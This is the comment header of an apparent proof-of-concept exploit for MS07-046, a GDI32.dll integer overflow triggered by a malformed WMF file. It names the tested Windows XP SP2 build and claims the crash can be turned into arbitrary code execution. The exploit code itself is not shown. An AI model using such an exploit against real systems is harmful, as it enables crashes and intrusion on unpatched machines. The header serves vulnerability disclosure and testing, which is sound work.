* MS07-046(GDI32.dll Integer overflow DOS) Proof Of Concept Code
|
|
|
|
* by Hong Gil-Dong & Chun Woo-Chi
|
|
|
|
* Yang yeon(?~1542), Korea
|
|
* "I shall keep clenching my left fist unitl i see the real tao".
|
|
|
|
* This POC is only for test. If an application read a malformed wmf
|
|
* file like this POC, the application will be crashed. If you apply
|
|
* this code, you can execute an arbitrary code.
|
|
*
|
|
|
|
* We tested this code on Windows XP SP2 Korean Edition
|
|
* (GDI32.dll version 5.1.2600.3099). But it will work well on other
|
|
* systems.
